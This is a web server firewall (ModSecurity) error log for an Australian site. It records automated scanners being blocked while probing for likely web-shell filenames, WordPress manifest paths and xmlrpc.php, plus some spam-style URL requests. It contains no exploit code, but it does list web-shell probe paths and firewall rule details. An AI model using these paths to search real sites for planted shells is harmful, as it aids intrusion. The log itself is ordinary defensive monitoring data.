[Mon Apr 06 01:51:01.760224 2026] [:error] [pid 51581:tid 51678] [client 172.213.161.161:2118] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "adKhBd4k74fhQLPUy7FNggAAAIk"]
[Mon Apr 06 01:51:02.592683 2026] [:error] [pid 51753:tid 51830] [client 172.213.161.161:63437] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "adKhBq3pmp1JkaicYbuWuQAAARM"]
[Mon Apr 06 01:51:03.075156 2026] [:error] [pid 51581:tid 51683] [client 172.213.161.161:63466] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "adKhB94k74fhQLPUy7FNhQAAAI4"]
[Mon Apr 06 01:51:03.721163 2026] [:error] [pid 51753:tid 51825] [client 172.213.161.161:15522] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "adKhB63pmp1JkaicYbuWwAAAAQ4"]
[Mon Apr 06 01:51:04.266247 2026] [:error] [pid 51580:tid 51645] [client 172.213.161.161:15496] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "adKhCFNFl1NiyNgNZAlBmwAAAEY"]
[Mon Apr 06 01:51:04.943161 2026] [:error] [pid 51580:tid 51646] [client 172.213.161.161:9162] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "adKhCFNFl1NiyNgNZAlBnwAAAEc"]
[Mon Apr 06 01:51:05.501304 2026] [:error] [pid 51581:tid 51670] [client 172.213.161.161:13305] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "adKhCd4k74fhQLPUy7FNigAAAIE"]
[Mon Apr 06 01:51:05.981732 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:13501] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "adKhCa3pmp1JkaicYbuWzQAAAQ0"]
[Mon Apr 06 01:51:06.998685 2026] [:error] [pid 51581:tid 51677] [client 172.213.161.161:63455] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adKhCt4k74fhQLPUy7FNkwAAAIg"]
[Mon Apr 06 01:51:08.623437 2026] [:error] [pid 51584:tid 51715] [client 172.213.161.161:63481] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adKhDMZ4qY_GoNCPARAyuAAAANI"]
[Mon Apr 06 01:51:09.850173 2026] [:error] [pid 51580:tid 51659] [client 172.213.161.161:13285] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adKhDVNFl1NiyNgNZAlBvwAAAFQ"]
[Mon Apr 06 01:51:10.694003 2026] [:error] [pid 51584:tid 51701] [client 172.213.161.161:2125] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adKhDsZ4qY_GoNCPARAyuQAAAMQ"]
[Mon Apr 06 01:51:11.457209 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:63531] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "adKhD63pmp1JkaicYbuW2AAAAQ0"]
[Mon Apr 06 01:51:12.080442 2026] [:error] [pid 51581:tid 51685] [client 172.213.161.161:63528] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "adKhEN4k74fhQLPUy7FNogAAAJA"]
[Mon Apr 06 01:51:12.884433 2026] [:error] [pid 51753:tid 51822] [client 172.213.161.161:63480] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "adKhEK3pmp1JkaicYbuW3wAAAQs"]
[Mon Apr 06 01:51:13.709417 2026] [:error] [pid 51581:tid 51680] [client 172.213.161.161:63522] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "adKhEd4k74fhQLPUy7FNrQAAAIs"]
[Mon Apr 06 01:51:14.318036 2026] [:error] [pid 51580:tid 51661] [client 172.213.161.161:26590] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "adKhElNFl1NiyNgNZAlB1wAAAFY"]
[Mon Apr 06 01:51:14.812123 2026] [:error] [pid 51580:tid 51651] [client 172.213.161.161:63546] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "adKhElNFl1NiyNgNZAlB2AAAAEw"]
[Mon Apr 06 01:51:15.431985 2026] [:error] [pid 51580:tid 51647] [client 172.213.161.161:15544] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "adKhE1NFl1NiyNgNZAlB3QAAAEg"]
[Mon Apr 06 01:51:15.993331 2026] [:error] [pid 51584:tid 51711] [client 172.213.161.161:8548] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "adKhE8Z4qY_GoNCPARAyyQAAAM4"]
[Mon Apr 06 01:51:16.510559 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:39195] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "adKhFK3pmp1JkaicYbuW7AAAAQY"]
[Mon Apr 06 01:51:17.092570 2026] [:error] [pid 51580:tid 51640] [client 172.213.161.161:8561] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "adKhFVNFl1NiyNgNZAlB5QAAAEE"]
[Mon Apr 06 01:51:17.728833 2026] [:error] [pid 51581:tid 51683] [client 172.213.161.161:13483] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "adKhFd4k74fhQLPUy7FNuQAAAI4"]
[Mon Apr 06 01:51:18.400594 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:2119] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "adKhFq3pmp1JkaicYbuW8wAAAQ8"]
[Mon Apr 06 01:51:18.922880 2026] [:error] [pid 51753:tid 51817] [client 172.213.161.161:13486] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "adKhFq3pmp1JkaicYbuW9QAAAQY"]
[Mon Apr 06 01:51:19.634799 2026] [:error] [pid 51584:tid 51714] [client 172.213.161.161:8569] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "adKhF8Z4qY_GoNCPARAy0wAAANE"]
[Mon Apr 06 01:51:20.589191 2026] [:error] [pid 51580:tid 51663] [client 172.213.161.161:63535] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "adKhGFNFl1NiyNgNZAlB8gAAAFg"]
[Mon Apr 06 01:51:21.586651 2026] [:error] [pid 51581:tid 51678] [client 172.213.161.161:8537] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "adKhGd4k74fhQLPUy7FNxQAAAIk"]
[Mon Apr 06 02:12:46.303449 2026] [:error] [pid 51580:tid 51644] [client 43.165.67.57:33042] [client 43.165.67.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adKmHlNFl1NiyNgNZAlQTwAAAEU"]
[Mon Apr 06 03:09:27.612075 2026] [:error] [pid 51581:tid 51681] [client 209.38.46.97:57217] [client 209.38.46.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.38.46.97, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adKzZ94k74fhQLPUy7F0RwAAAIw"]
[Mon Apr 06 03:09:27.900066 2026] [:error] [pid 51581:tid 51685] [client 209.38.46.97:57217] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adKzZ94k74fhQLPUy7F0SQAAAJA"]
[Mon Apr 06 03:09:28.897768 2026] [:error] [pid 51580:tid 51649] [client 209.38.46.97:61679] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "adKzaFNFl1NiyNgNZAl9AQAAAEo"]
[Mon Apr 06 03:09:29.892324 2026] [:error] [pid 51584:tid 51720] [client 209.38.46.97:52908] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "adKzacZ4qY_GoNCPARBgsAAAANc"]
[Mon Apr 06 03:09:30.893328 2026] [:error] [pid 51580:tid 51652] [client 209.38.46.97:59844] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "adKzalNFl1NiyNgNZAl9CgAAAE0"]
[Mon Apr 06 03:09:31.889292 2026] [:error] [pid 51753:tid 51830] [client 209.38.46.97:64186] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "adKza63pmp1JkaicYbvpvQAAARM"]
[Mon Apr 06 03:09:32.888337 2026] [:error] [pid 51580:tid 51650] [client 209.38.46.97:52081] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "adKzbFNFl1NiyNgNZAl9FQAAAEs"]
[Mon Apr 06 03:09:33.905821 2026] [:error] [pid 51580:tid 51645] [client 209.38.46.97:60262] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "adKzbVNFl1NiyNgNZAl9GwAAAEY"]
[Mon Apr 06 03:09:34.913909 2026] [:error] [pid 51584:tid 51716] [client 209.38.46.97:64095] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "adKzbsZ4qY_GoNCPARBgwQAAANM"]
[Mon Apr 06 03:09:35.914625 2026] [:error] [pid 51753:tid 51823] [client 209.38.46.97:61474] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "adKzb63pmp1JkaicYbvp1gAAAQw"]
[Mon Apr 06 03:09:36.911911 2026] [:error] [pid 51753:tid 51811] [client 209.38.46.97:57806] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "adKzcK3pmp1JkaicYbvp3QAAAQA"]
[Mon Apr 06 03:09:37.914151 2026] [:error] [pid 51584:tid 51717] [client 209.38.46.97:62066] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adKzccZ4qY_GoNCPARBgyQAAANQ"]
[Mon Apr 06 03:09:38.916869 2026] [:error] [pid 51584:tid 51702] [client 209.38.46.97:54851] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adKzcsZ4qY_GoNCPARBg0wAAAMU"]
[Mon Apr 06 03:09:39.930510 2026] [:error] [pid 51584:tid 51704] [client 209.38.46.97:51024] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adKzc8Z4qY_GoNCPARBg3wAAAMc"]
[Mon Apr 06 03:09:40.928368 2026] [:error] [pid 51584:tid 51708] [client 209.38.46.97:62756] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adKzdMZ4qY_GoNCPARBg4wAAAMs"]
[Mon Apr 06 03:09:41.928209 2026] [:error] [pid 51581:tid 51685] [client 209.38.46.97:64961] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adKzdd4k74fhQLPUy7F0cQAAAJA"]
[Mon Apr 06 03:09:42.927492 2026] [:error] [pid 51753:tid 51823] [client 209.38.46.97:55579] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adKzdq3pmp1JkaicYbvp-wAAAQw"]
[Mon Apr 06 03:09:43.921850 2026] [:error] [pid 51753:tid 51812] [client 209.38.46.97:62098] [client 209.38.46.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adKzd63pmp1JkaicYbvqBQAAAQE"]
[Mon Apr 06 03:15:17.486099 2026] [:error] [pid 51753:tid 51817] [client 49.51.39.209:45394] [client 49.51.39.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adK0xa3pmp1JkaicYbvwkQAAAQY"]
[Mon Apr 06 03:30:52.982987 2026] [:error] [pid 5282:tid 5325] [client 93.158.213.25:44192] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adK4bC4tWnCcNH2JlY4LfAAAAEg"]
[Mon Apr 06 03:30:55.993114 2026] [:error] [pid 5375:tid 5387] [client 93.158.213.25:36200] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adK4b7Rn_OsOP6QTBbUTngAAAMk"]
[Mon Apr 06 03:30:59.084475 2026] [:error] [pid 5278:tid 5298] [client 93.158.213.25:36214] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adK4c-7ksfA9gGDfxDoUVgAAAAg"]
[Mon Apr 06 03:31:02.389670 2026] [:error] [pid 5375:tid 5395] [client 93.158.213.25:36230] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adK4drRn_OsOP6QTBbUTvQAAANE"]
[Mon Apr 06 03:31:06.002009 2026] [:error] [pid 5287:tid 5357] [client 93.158.213.25:48176] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adK4eqmqPIaOLESJM9B8OgAAAI0"]
[Mon Apr 06 03:31:09.509351 2026] [:error] [pid 5287:tid 5360] [client 93.158.213.25:48192] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adK4famqPIaOLESJM9B8RwAAAJA"]
